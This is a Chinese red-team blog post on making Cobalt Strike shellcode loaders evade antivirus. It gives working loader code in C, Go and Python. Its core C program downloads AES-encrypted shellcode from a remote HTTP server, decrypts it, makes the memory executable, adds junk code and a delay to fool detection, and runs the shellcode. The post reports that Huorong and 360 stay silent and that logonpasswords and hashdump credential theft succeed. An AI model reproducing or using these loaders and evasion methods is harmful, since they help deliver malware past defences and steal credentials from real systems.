前言
免杀技术,是攻击者与安全厂商的博弈,如何将我们的攻击指令成功绕过杀毒软件的检测,是每个红队人员需要思考的问题。当然在这一领域各大佬八仙过海,各显神通。在此要感谢T00LS的AgeloVito前辈,本文是在前辈的成果中加以实践。
概述
什么是shellcode
百度百科这样解释道:shellcode是一段用于利用软件漏洞而执行的代码,shellcode为16进制的机器码,因为经常让攻击者获得shell而得名。
翻译成人话就是:shellcode是一段执行某些动作的机器码。
什么是机器码
百度百科:计算机直接使用的程序语言,其语句就是机器指令码,机器指令码是用于指挥计算机应做的操作和操作数地址的一组二进制数。机器指令码在计算机中通常被称为代码。
人话就是:计算机的机器指令码。
什么是shellcode loader
为了使我们的shellcode加载到内存并执行,我们需要shellcode加载器,也就是我们的shellcode loader。不同语言loader的写法不同。
C/C++
#include <windows.h>
#include <stdio.h>
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")//不显示窗口
unsigned char shellcode[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\......";
void main()
{
LPVOID Memory = VirtualAlloc(NULL, sizeof(shellcode),MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (Memory == NULL) { return; }
memcpy(Memory, shellcode, sizeof(shellcode));
((void(*)())Memory)();
}
Golang
package loader
import (
"syscall"
"unsafe"
)
var (
proc42526789738d uintptr
)
const (
PAGE_EXECUTE_READWRITE = 0x40
)
func Init() error {
modKernel32, err := syscall.LoadLibrary(string([]byte{
'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l',
}))
if err != nil {
return err
}
proc42526789738d, err = syscall.GetProcAddress(modKernel32, string([]byte{
'V', 'i', 'r', 't', 'u', 'a', 'l', 'P', 'r', 'o', 't', 'e', 'c', 't',
}))
if err != nil {
return err
}
return nil
}
func X(buf []byte) {
var dwOldPerm uint32
syscall.Syscall6(
proc42526789738d,
4,
uintptr(unsafe.Pointer(&buf[0])),
uintptr(len(buf)),
uintptr(PAGE_EXECUTE_READWRITE),
uintptr(unsafe.Pointer(&dwOldPerm)),
0, 0,
)
syscall.Syscall(
uintptr(unsafe.Pointer(&buf[0])),
0, 0, 0, 0,
)
}
Python
import ctypes
shellcode = bytearray("\xfc\xe8\x89\x00\x00\x00\x60\x89......")
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
buf,
ctypes.c_int(len(shellcode)))
ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_int(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))
免杀原理
目前常见的防病毒软件,是基于三种模式来进行查杀。一是基于特征,二是基于行为,三是基于云查杀。云查杀其实也是特征查杀。
基于特征的查杀,我们使用各种编码与加密的方式+CobaltStrike自身的管道通信模式+shellcode不落地可以绕过。
基于行为的查杀,利用CobaltStrike的管道通信模式+花指令思维会有奇效,翻译成人话就是在loader中加入正常执行的代码,让exe本身具有正常的行为,来扰乱AV分析。
主要思路:
- shellcode字符串不做硬编码。人话是shellcode不写死在loader代码中。 (特征查杀)
- 原始shellcode字符串加密。(特征查杀)
- 添加干扰代码扰乱AV分析。(行为查杀)
CobaltStrike独特的管道通信模式使我们浅显的免杀方式成为了可能。
核心代码
int main(int argc, char **argv)
{
DWORD dwOldProtect; // 内存页属性
//远程获取加密shellcode
char buf[BUF_SIZE] = { 0 };
char url[MAX_PATH] = "http://192.168.52.153/shellcode";
GetInterNetURLText(url, buf);
//干扰代码
unsigned char word[] = "AliyunClient";
string strword = base64_encode(word,sizeof(word));
string base64buf = base64_decode(buf);
if (strword != base64buf)
string aesword = EncryptionAES(strword);
//解密shellcode
string strbuf = DecryptionAES(buf);
//干扰代码
char buff[BUF_SIZE] = { 0 };
for (int i = 0; i < strbuf.length(); i++)
buff[i] = strbuf[i];
string aliword = base64_encode(word, 10);
char *p = buff;
//shellcode处理
unsigned char* shellcode = (unsigned char*)calloc(strlen(buff) / 2, sizeof(unsigned char));
for (size_t i = 0; i < strlen(buff) / 2; i++) {
sscanf(p, "%2hhx", &shellcode[i]);
p += 2;
}
string aliaesword = EncryptionAES(aliword);//干扰代码
void *run = VirtualAlloc(0, strlen(buff) / 2, MEM_COMMIT, PAGE_READWRITE);
memcpy(run, shellcode, strlen(buff) / 2); //创建可读可写内存
if (aliword != strword)
DecryptionAES(aliaesword); //干扰代码
VirtualProtect(run, strlen(buff) / 2, PAGE_EXECUTE, &dwOldProtect); //内存添加可执行权限
Sleep(2000); //延迟2S,躲避杀软查杀
((void(*)())run)(); //执行
aliword = base64_encode(word,10); //干扰代码
return 0;
}
采用aes对称加密算法,先将加密后的shellcode字符串存储在远端http server,在loader中下载回来并解密。
成果检验
静态查杀
virustotal
virustotal效果虽然不理想,但是绕过国内主流的杀软没有问题。
微步云沙箱
动态行为查杀
运行exe,Cobaltstrike成功上线,火绒与360无反应。
logonpasswords
抓取密码,杀软无反应。
hashdump
Process List
Windows Defender
总结
使用C/C++方式进行免杀的优点是生成的文件体积相对较小,不带图标编译大概在100多KB。个人认为免杀重点还是在于如何利用花指令来骗过杀软的分析,因为毕竟基于特征的查杀我们只要fuzz代码,修改特征就可以绕过。